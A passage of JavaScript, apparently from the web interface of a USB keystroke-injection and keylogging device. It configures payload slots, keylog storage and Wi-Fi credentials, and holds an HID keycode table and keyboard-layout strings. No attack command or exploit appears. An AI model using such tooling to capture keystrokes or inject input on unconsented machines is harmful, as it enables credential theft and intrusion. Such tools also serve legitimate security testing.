file.path.split('/')[file.path.split('/').length - 2];\n\t\t\t\t\t\tspan.textContent = fileUrl;\n\t\t\t\t\t\tcode.textContent = fileData;\n\t\t\n\t\t\t\t\t\tlet div = document.getElementById('githubPayloadExamples');\n\t\t\t\t\t\tdiv.appendChild(h3);\n\t\t\t\t\t\tdiv.appendChild(span);\n\t\t\t\t\t\tdiv.appendChild(code);\n\t\t\t\t\t}\n\t\t\t\t\tdocument.querySelectorAll('code').forEach(element => {\n\t\t\t\t\t\telement.addEventListener('click', handleHelpToPayload);\n\t\t\t\t\t});\n\t\t\t\t} catch (error) {\n\t\t\t\t\tdocument.getElementById('githubPayloadExamples').innerHTML = \"Could not connect to Github.\";\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\t\n\t\t// Partition Editor Module\n\t\tfunction partitionEditorCurrent() {\n\t\t\tlet cfbootscriptSize = document.getElementById(\"bootscript\") ? document.getElementById(\"bootscript\").value : '1';\n\t\t\tlet cfhidxfileSize = document.getElementById(\"hidxfile\") ? document.getElementById(\"hidxfile\").value : '16';\n\t\t\tlet cfpayload1Size = document.getElementById(\"payload1\") ? document.getElementById(\"payload1\").value : '1';\n\t\t\tlet cfplcacheSize = document.getElementById(\"plcache\") ? document.getElementById(\"plcache\").value : '80';\n\t\t\tlet payloadList = document.getElementById(\"payload-list\");\n\t\t\tlet cfpayloadSlots = payloadList ? payloadList.querySelectorAll(\"option\").length : 0;\n\t\t\n\t\t\tlet cfpayloadSlotType = document.getElementById(\"payloadSlotType\") ? document.getElementById(\"payloadSlotType\").value : '1';\n\t\t\n\t\t\tdocument.getElementById(\"bootscriptSlotSize\").value = cfbootscriptSize;\n\t\t\tdocument.getElementById(\"hidxfileSize\").value = cfhidxfileSize;\n\t\t\tdocument.getElementById(\"plcacheSlotSize\").value = cfplcacheSize;\n\t\t\tdocument.getElementById(\"payloadSlotCount\").value = cfpayloadSlots;\n\t\t\tdocument.getElementById(\"payloadSlotSize\").value = cfpayload1Size;\n\t\t\tdocument.getElementById(\"payloadSlotType\").value = slotmode;\n\t\t}\n\t\t\n\t\tfunction generatePartitionEditor() {\n\t\t\tlogMessage(`DEBUG`, `generatePartitionEditor`);\n\t\t\tlet availableSpace = document.getElementById(\"partitionEditorAvailable\").value;\n\t\t\tlet bootslotSize = document.getElementById(\"bootscriptSlotSize\").value;\n\t\t\tlet hidxfileSize = document.getElementById(\"hidxfileSize\").value;\n\t\t\tlet plcacheSize = document.getElementById(\"plcacheSlotSize\").value;\n\t\t\tlet slotSize = document.getElementById(\"payloadSlotSize\").value;\n\t\t\tlet slotCount = document.getElementById(\"payloadSlotCount\").value;\n\t\t\tlet payloadSlotType = document.getElementById(\"payloadSlotType\").value;\n\t\t\tlet existingUsed = parseInt(bootslotSize) + parseInt(hidxfileSize) + parseInt(plcacheSize);\n\t\t\n\t\t\tdocument.getElementById(\"payloadSlotCount\").innerHTML = \"\";\n\t\t\tlet payloadList = document.getElementById(\"payload-list\");\n\t\t\tlistValues = generatePartitionSlotList(availableSpace, slotSize, payloadSlotType, existingUsed);\n\t\t\tif (slotCount == \"\") {\n\t\t\t\tslotCount = payloadList ? payloadList.querySelectorAll(\"option\").length : 7;\n\t\t\t} else if(slotCount > 200) {\n\t\t\t\tslotCount = 200;\n\t\t\t} else if (slotCount > listValues.length) {\n\t\t\t\tslotCount = listValues.length - 1;\n\t\t\t}\n\t\t\t\n\t\t\tlistValues.forEach((values) => {\n\t\t\t\tconst name = document.createElement(\"option\");\n\t\t\t\tname.value = values;\n\t\t\t\tname.innerHTML = values;\n\t\t\t\tif (values == slotCount) {\n\t\t\t\t\tname.selected = true;\n\t\t\t\t}\n\t\t\t\tdocument.getElementById(\"payloadSlotCount\").appendChild(name);\n\t\t\t});\n\t\t\n\t\t\tif (payloadSlotType === \"3\") {\n\t\t\t\tkeylogSizeRemaining = (availableSpace - (slotSize * slotCount * 2) - (bootslotSize) - (hidxfileSize)) * 2048;\n\t\t\t} else {\n\t\t\t\tkeylogSizeRemaining = (availableSpace - (slotSize * slotCount) - (bootslotSize) - (hidxfileSize)) * 2048;\n\t\t\t}\n\t\t\toutput = document.getElementById('keylogSize');\n\t\t\toutput.innerHTML = `${keylogSizeRemaining}`;\n\t\t}\n\t\t\n\t\tfunction generatePartitionSlotList(sectors, slotSize, slotType, existing) {\n\t\t\tif (slotType === \"3\") {\n\t\t\t\tslotSize *= 2;\n\t\t\t}\n\t\t\tlet maxCount = Math.floor((sectors - existing) / slotSize);\n\t\t\tmaxCount = Math.min(maxCount, 200);\n\t\t\tlet listValues = [];\n\t\t\tfor (let i = 0; i <= maxCount; i++) {\n\t\t\t\tlistValues.push(i);\n\t\t\t}\n\t\t\treturn listValues;\n\t\t}\n\t\t\n\t\tfunction partitionEditorApply() {\n\t\t\tlet bootslotSize = document.getElementById(\"bootscriptSlotSize\").value;\n\t\t\tlet hidxfileSize = document.getElementById(\"hidxfileSize\").value;\n\t\t\tlet plcacheSize = document.getElementById(\"plcacheSlotSize\").value;\n\t\t\tlet slotSize = document.getElementById(\"payloadSlotSize\").value;\n\t\t\tlet slotCount = document.getElementById(\"payloadSlotCount\").value;\n\t\t\tlet payloadSlotType = document.getElementById(\"payloadSlotType\").value;\n\t\t\tlet partitionEditorAvailable = document.getElementById(\"partitionEditorAvailable\").value;\n\t\t\n\t\t\tlet keylogSize = partitionEditorAvailable - (slotSize * slotCount) - 1;\n\t\t\tlet CWInfo = document.getElementById(\"response-CWInfo\").value;\n\t\t\twifiInfo = CWInfo.split(\"\\t\");\n\t\t\tlet wifiMODE = wifiInfo[1];\n\t\t\tlet wifiSSID = wifiInfo[2];\n\t\t\tlet wifiPASS = wifiInfo[3];\n\t\t\n\t\t\tlet toRunMiddle = `INIT;F:keylog=0;F:payload1=0;F:payload2=0;F:payload3=0;F:payload4=0;F:payload5=0;F:payload6=0;F:payload7=0;F:bootscript=${bootslotSize};F:hidxfile=${hidxfileSize};F:plcache=${plcacheSize};`;\n\t\t\tlet toRunPostfix = `F:keylog=100%F;S:wifimode=${wifiMODE};S:wifissid=${wifiSSID};S:wifikey=${wifiPASS};`;\n\t\t\tlet toRunContent = \"\";\n\t\t\tfor (let i = 0; i < slotCount; i++) {\n\t\t\t\ttoRunContent += `F:payload${i + 1}=${slotSize};`;\n\t\t\t}\n\t\t\tif (payloadSlotType === \"3\") {\n\t\t\t\tfor (let i = 0; i < slotCount; i++) {\n\t\t\t\t\ttoRunContent += `F:exec${i + 1}=${slotSize};`;\n\t\t\t\t}\n\t\t\t\ttoRunContent += `S:slotmode=3;`;\n\t\t\t}\n\t\t\tif (payloadSlotType === \"2\") {\n\t\t\t\ttoRunContent += `S:slotmode=2;`;\n\t\t\t}\n\t\t\tlet toRunInit = toRunMiddle + toRunContent + toRunPostfix;\n\t\t\n\t\t\tif (new TextEncoder().encode(toRunInit).length > 4096) {\n\t\t\t\tconsole.error(\"The message size exceeds the 4096 bytes limit.\");\n\t\t\t\treturn;\n\t\t\t}\n\t\t\n\t\t\tsendMessage(`FE127`);\n\t\t\tlet toRunPrefixes = [\"FW520192\\t\", \"FW521216\\t\", \"FW522240\\t\", \"FW523264\\t\"];\n\t\t\tfor (let i = 0; i < Math.ceil(toRunInit.length / 1024); i++) {\n\t\t\t\tlet start = i * 1024;\n\t\t\t\tlet end = start + 1024;\n\t\t\t\tlet cmd = toRunPrefixes[i] + 1024 + \"\\t\" + toRunInit.slice(start, end);\n\t\t\t\tsendMessage(`${cmd}`);\n\t\t\t}\n\t\t\n\t\t\tsendMessage(`CR1`);\n\t\t\tviewDialog(`partitionEditor`, `close`);\n\t\t\tviewDialog(`partitionApplied`, `open`);\n\t\t}\n\t\t\n\t\t// Keymap Module\n\t\tconst keymapGlobal = [\n\t\t\t[0x00, \"NOKEY\"],\n\t\t\t[0x28, \"ENTER\"],\n\t\t\t[0x29, \"ESC\"],\n\t\t\t[0x2a, \"BACKSPACE\"],\n\t\t\t[0x2b, \"TAB\"],\n\t\t\t[0x2c, \" \"],\n\t\t\t[0x2c, \"SPACE\"],\n\t\t\t[0x39, \"CAPSLOCK\"],\n\t\t\t[0x3a, \"F1\"],\n\t\t\t[0x3b, \"F2\"],\n\t\t\t[0x3c, \"F3\"],\n\t\t\t[0x3d, \"F4\"],\n\t\t\t[0x3e, \"F5\"],\n\t\t\t[0x3f, \"F6\"],\n\t\t\t[0x40, \"F7\"],\n\t\t\t[0x41, \"F8\"],\n\t\t\t[0x42, \"F9\"],\n\t\t\t[0x43, \"F10\"],\n\t\t\t[0x44, \"F11\"],\n\t\t\t[0x45, \"F12\"],\n\t\t\t[0x46, \"PRINTSCREEN\"],\n\t\t\t[0x47, \"SCROLLLOCK\"],\n\t\t\t[0x48, \"PAUSE\"],\n\t\t\t[0x49, \"INSERT\"],\n\t\t\t[0x4a, \"HOME\"],\n\t\t\t[0x4b, \"PAGEUP\"],\n\t\t\t[0x4c, \"DELETE\"],\n\t\t\t[0x4d, \"END\"],\n\t\t\t[0x4e, \"PAGEDOWN\"],\n\t\t\t[0x4f, \"RIGHT\"],\n\t\t\t[0x4f, \"RIGHTARROW\"],\n\t\t\t[0x50, \"LEFT\"],\n\t\t\t[0x50, \"LEFTARROW\"],\n\t\t\t[0x51, \"DOWN\"],\n\t\t\t[0x51, \"DOWNARROW\"],\n\t\t\t[0x52, \"UP\"],\n\t\t\t[0x52, \"UPARROW\"],\n\t\t\t[0x53, \"NUMLOCK\"],\n\t\t\t[0x54, \"KPAD_SLASH\"],\n\t\t\t[0x55, \"KPAD_ASTERISK\"],\n\t\t\t[0x56, \"KPAD_MINUS\"],\n\t\t\t[0x57, \"KPAD_PLUS\"],\n\t\t\t[0x58, \"KPAD_ENTER\"],\n\t\t\t[0x59, \"KPAD_1\"],\n\t\t\t[0x5a, \"KPAD_2\"],\n\t\t\t[0x5b, \"KPAD_3\"],\n\t\t\t[0x5c, \"KPAD_4\"],\n\t\t\t[0x5d, \"KPAD_5\"],\n\t\t\t[0x5e, \"KPAD_6\"],\n\t\t\t[0x5f, \"KPAD_7\"],\n\t\t\t[0x60, \"KPAD_8\"],\n\t\t\t[0x61, \"KPAD_9\"],\n\t\t\t[0x62, \"KPAD_0\"],\n\t\t\t[0x63, \"KPAD_DOT\"],\n\t\t\t[0x64, \"102ND\"],\n\t\t\t[0x65, \"COPILOT\"],\n\t\t\t[0x65, \"COMPOSE\"],\n\t\t\t[0x66, \"POWER\"],\n\t\t\t[0x67, \"KPEQUAL\"],\n\t\t\t[0x68, \"F13\"],\n\t\t\t[0x69, \"F14\"],\n\t\t\t[0x6a, \"F15\"],\n\t\t\t[0x6b, \"F16\"],\n\t\t\t[0x6c, \"F17\"],\n\t\t\t[0x6d, \"F18\"],\n\t\t\t[0x6e, \"F19\"],\n\t\t\t[0x6f, \"F20\"],\n\t\t\t[0x70, \"F21\"],\n\t\t\t[0x71, \"F22\"],\n\t\t\t[0x72, \"F23\"],\n\t\t\t[0x73, \"F24\"],\n\t\t\t[0x74, \"OPEN\"],\n\t\t\t[0x75, \"HELP\"],\n\t\t\t[0x76, \"PROPS\"],\n\t\t\t[0x77, \"FRONT\"],\n\t\t\t[0x78, \"STOP\"],\n\t\t\t[0x79, \"AGAIN\"],\n\t\t\t[0x7a, \"UNDO\"],\n\t\t\t[0x7b, \"CUT\"],\n\t\t\t[0x7c, \"COPY\"],\n\t\t\t[0x7d, \"PASTE\"],\n\t\t\t[0x7e, \"FIND\"],\n\t\t\t[0x7f, \"MUTE\"],\n\t\t\t[0x80, \"VOLUMEUP\"],\n\t\t\t[0x81, \"VOLUMEDOWN\"],\n\t\t\t[0x82, \"LOCKING_CAPSLOCK\"],\n\t\t\t[0x83, \"LOCKING_NUMLOCK\"],\n\t\t\t[0x84, \"LOCKING_SCROLLLOCK\"],\n\t\t\t[0x85, \"KPAD_COMMA\"],\n\t\t\t[0x86, \"KPAD_EQUAL\"],\n\t\t\t[0x87, \"RO\"],\n\t\t\t[0x88, \"KATAKANAHIRAGANA\"],\n\t\t\t[0x89, \"YEN\"],\n\t\t\t[0x8a, \"HENKAN\"],\n\t\t\t[0x8b, \"MUHENKAN\"],\n\t\t\t[0x8c, \"KPJPCOMMA\"],\n\t\t\t[0x8d, \"INT7\"],\n\t\t\t[0x8e, \"INT8\"],\n\t\t\t[0x8f, \"INT9\"],\n\t\t\t[0x90, \"HANGEUL\"],\n\t\t\t[0x91, \"HANJA\"],\n\t\t\t[0x92, \"KATAKANA\"],\n\t\t\t[0x93, \"HIRAGANA\"],\n\t\t\t[0x94, \"ZENKAKUHANKAKU\"],\n\t\t\t[0x95, \"LANG6\"],\n\t\t\t[0x96, \"LANG7\"],\n\t\t\t[0x97, \"LANG8\"],\n\t\t\t[0x98, \"LANG9\"],\n\t\t\t[0x99, \"ALTERASE\"],\n\t\t\t[0x9a, \"SYSREQ\"],\n\t\t\t[0x9b, \"CANCEL\"],\n\t\t\t[0x9c, \"CLEAR\"],\n\t\t\t[0x9d, \"PRIOR\"],\n\t\t\t[0x9e, \"RETURN\"],\n\t\t\t[0x9f, \"SEPARATOR\"],\n\t\t\t[0xa0, \"OUT\"],\n\t\t\t[0xa1, \"OPER\"],\n\t\t\t[0xa2, \"CLEAR\"],\n\t\t\t[0xa3, \"CRSEL\"],\n\t\t\t[0xa4, \"EXSEL\"],\n\t\t\t[0xb0, \"KPAD_00\"],\n\t\t\t[0xb1, \"KPAD_000\"],\n\t\t\t[0xb2, \"KPAD_THOUSANDSSEPARATOR\"],\n\t\t\t[0xb3, \"KPAD_DECIMALSEPARATOR\"],\n\t\t\t[0xb4, \"KPAD_CURRENCYUNIT\"],\n\t\t\t[0xb5, \"KPAD_CURRENCYSUBUNIT\"],\n\t\t\t[0xb6, \"KPAD_LEFTPAREN\"],\n\t\t\t[0xb7, \"KPAD_RIGHTPAREN\"],\n\t\t\t[0xb8, \"KPAD_{\"],\n\t\t\t[0xb9, \"KPAD_}\"],\n\t\t\t[0xba, \"KPAD_Tab\"],\n\t\t\t[0xbb, \"KPAD_Backspace\"],\n\t\t\t[0xbc, \"KPAD_A\"],\n\t\t\t[0xbd, \"KPAD_B\"],\n\t\t\t[0xbe, \"KPAD_C\"],\n\t\t\t[0xbf, \"KPAD_D\"],\n\t\t\t[0xc0, \"KPAD_E\"],\n\t\t\t[0xc1, \"KPAD_F\"],\n\t\t\t[0xc2, \"KPAD_XOR\"],\n\t\t\t[0xc3, \"KPAD_^\"],\n\t\t\t[0xc4, \"KPAD_%\"],\n\t\t\t[0xc5, \"KPAD_<\"],\n\t\t\t[0xc6, \"KPAD_>\"],\n\t\t\t[0xc7, \"KPAD_&\"],\n\t\t\t[0xc8, \"KPAD_&&\"],\n\t\t\t[0xc9, \"KPAD_|\"],\n\t\t\t[0xca, \"KPAD_||\"],\n\t\t\t[0xcb, \"KPAD_:\"],\n\t\t\t[0xcc, \"KPAD_#\"],\n\t\t\t[0xcd, \"KPAD_Space\"],\n\t\t\t[0xce, \"KPAD_@\"],\n\t\t\t[0xcf, \"KPAD_!\"],\n\t\t\t[0xd0, \"KPAD_MEMSTORE\"],\n\t\t\t[0xd1, \"KPAD_MEMRECALL\"],\n\t\t\t[0xd2, \"KPAD_MEMCLEAR\"],\n\t\t\t[0xd3, \"KPAD_MEMADD\"],\n\t\t\t[0xd4, \"KPAD_MEMSUB\"],\n\t\t\t[0xd5, \"KPAD_MEMMULT\"],\n\t\t\t[0xd6, \"KPAD_MEMDIV\"],\n\t\t\t[0xd7, \"KPAD_PLUSMINUS\"],\n\t\t\t[0xd8, \"KPAD_CLEAR\"],\n\t\t\t[0xd9, \"KPAD_CLEARENTRY\"],\n\t\t\t[0xda, \"KPAD_BINARY\"],\n\t\t\t[0xdb, \"KPAD_OCTAL\"],\n\t\t\t[0xdc, \"KPAD_DECIMAL\"],\n\t\t\t[0xdd, \"KPAD_HEXADECIMAL\"],\n\t\t\t[0xe0, \"LEFTCTRL\"],\n\t\t\t[0xe1, \"LEFTSHIFT\"],\n\t\t\t[0xe2, \"LEFTALT\"],\n\t\t\t[0xe3, \"LEFTMETA\"],\n\t\t\t[0xe4, \"RIGHTCTRL\"],\n\t\t\t[0xe5, \"RIGHTSHIFT\"],\n\t\t\t[0xe6, \"RIGHTALT\"],\n\t\t\t[0xe7, \"RIGHTMETA\"],\n\t\t\t[0xe8, \"MEDIA_PLAYPAUSE\"],\n\t\t\t[0xe9, \"MEDIA_STOPCD\"],\n\t\t\t[0xea, \"MEDIA_PREVIOUSSONG\"],\n\t\t\t[0xeb, \"MEDIA_NEXTSONG\"],\n\t\t\t[0xec, \"MEDIA_EJECTCD\"],\n\t\t\t[0xed, \"MEDIA_VOLUMEUP\"],\n\t\t\t[0xee, \"MEDIA_VOLUMEDOWN\"],\n\t\t\t[0xef, \"MEDIA_MUTE\"],\n\t\t\t[0xf0, \"MEDIA_WWW\"],\n\t\t\t[0xf1, \"MEDIA_BACK\"],\n\t\t\t[0xf2, \"MEDIA_FORWARD\"],\n\t\t\t[0xf3, \"MEDIA_STOP\"],\n\t\t\t[0xf4, \"MEDIA_FIND\"],\n\t\t\t[0xf5, \"MEDIA_SCROLLUP\"],\n\t\t\t[0xf6, \"MEDIA_SCROLLDOWN\"],\n\t\t\t[0xf7, \"MEDIA_EDIT\"],\n\t\t\t[0xf8, \"MEDIA_SLEEP\"],\n\t\t\t[0xf9, \"MEDIA_COFFEE\"],\n\t\t\t[0xfa, \"MEDIA_REFRESH\"],\n\t\t\t[0xfb, \"MEDIA_CALC\"],\n\t\t];\n\t\tconst locale = {\n\t\t\t\"AR_101\": ['ش ؤيثبلاهتنمةىخحضقسفعرصءغئ1234567890-=جد\\\\كطذوزظ ', '  }] [ أ÷ـ،/’آ×؛    ‘{  إ~!@#$%^&*)(_+<>|:\" ,.؟ '],\n\t\t\t\"AR_102\": ['ش ؤيثبلاهتنمةىخحضقسفعرصءغئ1234567890-=جدذكط>وزظـ', '\\\\  ] [ أ÷ـ،/’آ×؛    ‘   إ~!@#$%^&*)(_+}{ :\"<,.؟|', '                             ¤                 ²'],\n\t\t\t\"AR_FR\": ['ش ؤيثبلاهتنمةىخحضقسفعرصءغئ&é\"\\'(-è_çà)=جدذكط>وزظ\\\\', '\\\\  ] [ أ÷ـ،/’آ×؛    ‘   إ~1234567890°+}{ :\"<,.؟|', '                             ¤                 ²'],\n\t\t\t\"AR_SY_P\": ['ܐܒܤܕܖܔܓܗܥܛܟܠܡܢܧܦܩܪܣܬܜܫܘܨܝܙ1234567890-=][܆ܚܞ܏܀.܇܆', 'ܑܱܸܷܻܾܿܶ̈ـ̤̱݂ܹܴܼ̄̇ܰܺܽ݁ܳܵ݀ܲ!̥̊݉♰♱܊»)(«+̃݊:̣̰̮،؛؟:', 'ِ   ُءٰٕ݈݄݆݃  ٌٍَ̭݅ٓ݇ ًْٔ ܁܂܃܄܅܈܉܋܌܍┌┐     ّ   ²'],\n\t\t\t\"AR_SY_S\": ['ܫܧܤܝܖܒܠܐܗܬܢܡ.܀ܞܚܔܩܣܦܥܪܨ[ܜ]1234567890-=ܓܕ܆ܟܛ܏ܘܙ܇܆', 'ܑܱܸܷܻܾܿܶ̈ـ̤̱݂ܹܴܼ̄̇ܰܺܽ݁ܳܵ݀ܲ!̥̊݉♰♱܊»)(«+̃݊:̣̰̮،؛؟:', 'ِ   ُءٰٕ݈݄݆݃  ٌٍَ̭݅ٓ݇ ًْٔ ܁܂܃܄܅܈܉܋܌܍┌┐     ّ   ²'],\n\t\t\t\"AR_US\": ['abcdefghijklmnopqrstuvwxyz1234567890-=[]`;\\'<,./ ', 'ABCDEFGHIJKLMNOPQRSTUVWXYZ!@#$%^&*()_+{}~:\">,.? '],\n\t\t\t\"AS\": ['োৱম্ািুপগৰকতসলদজৌীেূহনৈংব ১২৩৪৫৬৭৮৯০-ৃড় চট॥,.য় ', 'ও ণঅআইউফঘ খথশ ধঝঔঈএঊঙ ঐঁভ !@ ₹    ()ঃঋঢঞ ছঠ ষ।য '],\n\t\t\t\"AZ\": ['gkvsşarnyəliqeohpuıdmtüfbç1234567890-=xj cğ#zö. ', 'GKVSŞARNYƏLİQEOHPUIDMTÜFBÇ!\"№;%:?*()_+XJ CĞ~ZÖ, '],\n\t\t\t\"AZ_C\": ['фисвуапршолдғтһзјкыегмүчнә1234567890-=хҹ\\\\жҝ`бө.\\\\', 'ФИСВУАПРШОЛДҒТҺЗЈКЫЕГМҮЧНӘ!\"№;%:?*()_+ХҸ/ЖҜ~БӨ,|', '                           @ ₼                 ²'],\n\t\t\t\"AZ_L\": ['abcdefghijklmnopqrstuvüxyz1234567890-=öğ\\\\ıə`çş. ', 'ABCDEFGHİJKLMNOPQRSTUVÜXYZ!\"Ⅶ;%:?*()_+ÖĞ/IƏ~ÇŞ, '],\n\t\t\t\"BA\": ['фисвуапршолдьтщзйкыегмцчня!өҡғҫ:ҙһ?№-үхъңжэәбю. ', 'ФИСВУАПРШОЛДЬТЩЗЙКЫЕГМЦЧНЯ\"ӨҠҒҪ;ҘҺ()%ҮХЪҢЖЭӘБЮ, '],\n\t\t\t\"BE\": ['qbcdefghijkl,noparstuvzxyw&é\"\\'(§è!çà)-^$µmù²;:=<', 'QBCDEFGHIJKL?NOPARSTUVZXYW1234567890°_¨*£M%³./+>', '    €                     |@#{[^  {}  []` ´   ~\\\\'],\n\t\t\t\"BG\": ['ьфъаеожгстнвпхдз,ияшкэуйщю1234567890-.ц;„мч(рлбѝ', 'ѝФЪАЕОЖГСТНВПХДЗыИЯШКЭУЙЩЮ!?+\"%=:/–№$€Ц§“МЧ)РЛБЍ'],\n\t\t\t\"BG_P\": ['абцдефгхийклмнопчрстувшжъз1234567890-=ящь;\\'ю,./ѝ', 'АБЦДЕФГХИЙКЛМНОПЧРСТУВШЖЪЗ!@№$%€§*()–+ЯЩѝ:\"Ю„“?Ѝ'],\n\t\t\t\"BG_PT\": ['абцдефгхийклмнопярстужвьъз1234567890-=шщю;\\'ч,./ ', 'АБЦДЕФГХИЙКЛМНОПЯРСТУЖВѝЪЗ!@№$%€§*()_+ШЩЮ:\"Ч<>? ', '                                      ЫЭ        '],\n\t\t\t\"BG_T\": ['ьфъаеожгстнвпхдз,ияшкэуйщю1234567890-.ц;(мч`рлб\\\\', 'ЬФЪАЕОЖГСТНВПХДЗыИЯШКЭУЙЩЮ!?+\"%=:/_№ІVЦ§)МЧ~РЛБ|'],\n\t\t\t\"BN\": ['োবম্ািুপগরকতসলদজৌীেূহনৈংব 1234567890-ৃড় চট ,.য ', 'ও ণঅআইউফঘ খথশ ধঝঔঈএঊঙ ঐঁভ         ()ঃঋঢঞ ছঠ ষ{য় ', '৴  ৸ ৢ   ৰ      ৗৣ৶    ৺  ১২৩৪৫৬৭৮৯০ ৢড়         ', '৵  ৹ ঌ   ৱ       ৡ৷                  ৠঢ়         '],\n\t\t\t\"BN_I\": ['োবম্ািুপগরকতসলদজৌীেূহনৈংব ১২৩৪৫৬৭৮৯০-ৃড় চট॥,.য় ', 'ও ণঅআইউফঘৎখথশ ধঝঔঈএঊঙ ঐঁভ !@ ₹    ()ঃঋঢঞ ছঠ ষ।য '],\n\t\t\t\"BN_IL\": ['োবম্ািুপগরকতসলদজৌীেূহনৈংব ১২৩৪৫৬৭৮৯০-ৃড় চট ,.য় ', 'ও ণঅআইউফঘ খথশ ধঝঔঈএঊঙ ঐঁভ !@      ()ঃঋঢঞ ছঠ ষ য '],\n\t\t\t\"BO\": ['འཔཀདེབངམི་གལmནོཕཅརསཏུཁཆཤཡཟ༡༢༣༤༥༦༧༨༩༠ཧཝཙཚཛཞ།ཨཐཇཉ ', 'ཱ྆ཀྵཌ༗༾༿࿏༙༂༃༆Mཎ༚༛༕ྼ༟ཊ༘྇༖ཥྻ༴༪༫༬༭༮༯༰༱༲༳༼༽༜༝༞༇༸༁ཋ༺༻ ', '࿄ྂྐྵྜ྾བྷ࿆࿇ཱི࿈གྷ࿉དྷྞ࿀࿁ྉཪ࿅ྚཱུ༶ྈྵ྿࿌ྲྀཷླྀཹཱི༉༊༏༐༒༌༓࿂࿃ཛྷ࿊࿋ༀྛྋྊ '],\n\t\t\t\"BO_U\": ['འཔཀདེབངམི་གལmནོཕཅརསཏུཁཆཤཡཟ༡༢༣༤༥༦༧༨༩༠ཧཝཙཚཛཞ།ཨཐཇཉ ', 'ཱ྆ཀྵཌ༗༾༿࿏༙༂༃༆Mཎ༚༛༕ྼ༟ཊ༘྇༖ཥྻ༴༪༫༬༭༮༯༰༱༲༳༼༽༜༝༞༇༸༁ཋ༺༻ ', '࿄ྂྐྵྜ྾བྷ࿆࿇ ࿈གྷ࿉དྷྞ࿀࿁ྉཪ࿅ྚ ༶ྈྵ྿࿌ྲྀ ླྀ  ༉༊༏༐༒༌༓࿂࿃ཛྷ࿊࿋ༀྛྋྊ '],\n\t\t\t\"BR\": ['abcdefghijklmnopqrstuvwxyz1234567890-=´[]ç~\\',.;/', 'ABCDEFGHIJKLMNOPQRSTUVWXYZ!@#$%¨&*()_+`{}Ç^\"<>:?', '  ₢ °           /     ?   ¹²³£¢¬     § ªº      °'],\n\t\t\t\"BS\": ['абцдефгхијклмнопљрстувњџзѕ1234567890\\'+шђжчћ`,.- ', 'АБЦДЕФГХИЈКЛМНОПЉРСТУВЊЏЗЅ!\"#$%&/()=?*ШЂЖЧЋ~;:_ ', ' {  €[]     §}  \\\\    @|     ^ °             <>  '],\n\t\t\t\"BUG\": ['ᨕᨅᨌᨉᨙᨃᨁᨖᨗᨍᨀᨒᨆᨊᨚᨄᨛᨑᨔᨈᨘᨓᨏᨂᨐᨎ1234567890-=[]\\\\;\\'ꧏ᨞᨟/ ', '            ᨇᨋ            !@#$%^&*()_+{}|:\"~,.? '],\n\t\t\t\"BY\": ['фисвуапршолдьтізйкыегмцчня1234567890-=хў\\\\жэёбю. ', 'ФИСВУАПРШОЛДЬТІЗЙКЫЕГМЦЧНЯ!\"№;%:?*()_+ХЎ/ЖЭЁБЮ, '],\n\t\t\t\"CA\": ['abcdefghijklmnopqrstuvwxyz1234567890-=^¸<;`#,.é«', 'ABCDEFGHIJKLMNOPQRSTUVWXYZ!\"/$%?&*()_+^¨>:`|\\'.É»', '            µ §¶          ±@£¢¤¬¦²³¼½¾[]}~{\\\\¯ ´°'],\n\t\t\t\"CA_FR\": ['abcdefghijklmnopqrstuvwxyz1234567890-=^çà;è°,.éù', 'ABCDEFGHIJKLMNOPQRSTUVWXYZ!\"#$%?&*()_+^ÇÀ:È°\\'.ÉÙ', 'æ ¢ð ª      µ øþ ¶ß    »¥«¹@³¼½¾{[]}|¸°~`´ ¬<>/\\\\', 'Æ ©Ð        º ØÞ ®§       ¡²£¤    ± ¿  ¨`´     |'],\n\t\t\t\"CA_N\": ['abcdefghijklmnopqrstuvwxyz1234567890-=^çà;è/,.éù', 'ABCDEFGHIJKLMNOPQRSTUVWXYZ!@#$%?&*()_+¨ÇÀ:È\\\\\\'\"ÉÙ', 'æ”¢ðœ ŋħ→ĳĸŀµŉøþ ¶ßŧ↓“ł»←«¹²³¼½¾   ] ¸ ~ ´ |―·  ', 'Æ’©ÐŒªŊĦıĲ Ŀº♪ØÞΩ®§Ŧ↑‘Ł ¥ ¡ £€⅜⅝⅞™± ¿˛˚¯˘˝ˇ ×÷·¦'],\n\t\t\t\"CHR\": ['ᎠᎨᏓᏗᎡᎩᎦᎯᎢᏚᎸᎵᏅᎾᎣᏁᎪᏛᏍᏔᎤᎥᎳᏴᏯᎬ   ᏙᏦᏜᏋᏖᏒᏄᎿᏳᏕᎶᏩᏨ\\'`,.Ꮒ ', 'ᏌᏰᏟᏐᏣᏈᏥᎲᏱᎫᎧᎮᎷᎻᏬᏪᏆᏏᏎᏘᎭᏞᏫᏭᏲᏃᎱᏇᏧᎰᎹᏝᏡᎺ()ᎼᎽᏑᏤᏮᏠ\"ᏊᏢᎴᏉ ', 'abcdefghijklmnopqrstuvwxyz1234567890-=[]\\\\; Ꮐ<>/ ', 'ABCDEFGHIJKLMNOPQRSTUVWXYZ!@#$%^&*()_+{}|: ~  ? '],\n\t\t\t\"CS\": ['abcdefghijklmnopqrstuvwxzy+ĕščřžýáíé=´ú)¨ů§;,.-&', 'ABCDEFGHIJKLMNOPQRSTUVWXZY1234567890%ˇ/(\\'\"!°?:_*', ' {&Đ []   łŁ }  \\\\ đ  @|# >~ˇ^˘°˛`·´˝¨¸÷×¤$ß <>*<'],\n\t\t\t\"CS_101\": ['abcdefghijklmnopqrstuvwxyz+ěščřžýáíé=´ú)¨ů§;,.-\\\\', 'ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890%ˇ/(\\'\"!°?:_|', '    €                     !@#$%^&*()-=[]\\\\;¤`<>/ß', '                                    _+{}|:^~×÷?˝'],\n\t\t\t\"CS_P\": ['abcdefghijklmnopqrstuvwxyz1234567890-=[]\\\\;\\'`,./\\\\', 'ABCDEFGHIJKLMNOPQRSTUVWXYZ!@#$%^&*()_+{}|:\"~<>?|', '    €                     +ěščřžýáíé=´ú)¨ů§;?:-ß', '                                    %ˇ/(^\"!°×÷_˝'],\n\t\t\t\"DA\": ['abcdefghijklmnopqrstuvwxyz1234567890+´å¨\\'æø½,.-<', 'ABCDEFGHIJKLMNOPQRSTUVWXYZ!\"#¤%&/()=?`Å^*ÆØ§;:_>', '    €       µ              @£$€ {[]} | ~       \\\\'],\n\t\t\t\"DE\": ['abcdefghijklmnopqrstuvwxzy1234567890ß´ü+#öä^,.-<', 'ABCDEFGHIJKLMNOPQRSTUVWXZY!\"§$%&/()=?`Ü*\\'ÖÄ°;:_>', '    €       µ   @          ²³   {[]}\\\\  ~       |', '                                    ẞ           '],\n\t\t\t\"DE_CH\": 